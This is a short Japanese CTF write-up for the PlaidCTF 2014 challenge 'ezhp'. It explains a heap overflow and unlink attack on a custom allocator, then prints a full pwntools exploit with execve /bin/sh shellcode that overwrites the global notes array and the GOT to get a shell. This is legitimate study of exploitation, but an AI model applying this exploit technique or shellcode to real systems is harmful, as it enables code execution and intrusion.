PlaidCTF 2014 ezhp
heap問のrevは疲れる。 キャンプの夜の短い自由時間に挑んだのだが、それで解くのは私には厳しかったので後から時間で殴った。
solution
heap上の単なる文字列として表現されるノートを作成/修正/削除/表示できるプログラム。 簡易な独自実装heapを持ち、heap上buffer overflowの脆弱性がある。 ノートの修正でbuffer overflowさせ、ノートの削除でheap unlink attackして適当にどこかを書き換え、GOT overwriteなりでshellcodeを踏めばよい。
strippedなのでrevする。
問題となるのは0x8048708 <myfree>
だけであるので、0x804858b <myalloc>
の側はあまり読まなくてよい。
簡易な実装ではあるが双方向連結listの操作は通常通りであり、
if (bk) bk->fd = fd;
if (fd) fd->bk = bk;
は(chunkの大きさによらず)行われているので、これを用いて適当な領域への書き込みを行う。
global変数として存在するノートの配列char *g_notes[]
あたりを書き換えてしまえば、あとはノートの修正部分で楽にshellが取れる。RELROもNX bitもない。
implementation
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'
g_notes = 0x804a060 # char *g_notes[]
puts_got = 0x804a008
# http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
p = process('./ezhp')
def add_note(size):
p.recvuntil('Please choose an option.')
p.sendline('1') # add a note
p.recvuntil('Please give me a size.')
p.sendline(str(size))
def remove_note(id):
p.recvuntil('Please choose an option.')
p.sendline('2') # remove a note
p.recvuntil('Please give me an id.')
p.sendline(str(id))
def change_note(id, data):
p.recvuntil('Please choose an option.')
p.sendline('3') # change a note
p.recvuntil('Please give me an id.')
p.sendline(str(id))
p.recvuntil('Please give me a size.')
p.sendline(str(len(data)))
p.recvuntil('Please input your data.')
p.send(data)
# make notes
add_note(11) # 0
add_note(11) # 1
add_note(11) # 2
# send payload to heap
payload = ''
payload += 'AAAA' # heap + 0x18
payload += 'AAAA'
payload += 'AAA\0'
payload += p32(0x19)
payload += p32(0xaaaaaaaa) # p32(heap + 0x3c)
payload += p32(0xbbbbbbbb) # p32(heap + 0x0c)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0x19)
payload += p32(g_notes) # p32(heap + 0x54)
payload += p32(g_notes - 4) # p32(heap + 0x24)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0x3b8)
payload += p32(0)
payload += p32(0xcccccccc) # p32(heap + 0x3c)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
change_note(0, payload)
# write &g_notes[0] into g_notes[0]
remove_note(2)
# rewrite g_notes entries
payload = ''
payload += p32(g_notes)
payload += p32(puts_got)
payload += shellcode
change_note(0, payload)
# jump to the shellcode
change_note(1, p32(g_notes + 8))
time.sleep(1)
p.sendline('id')
p.interactive()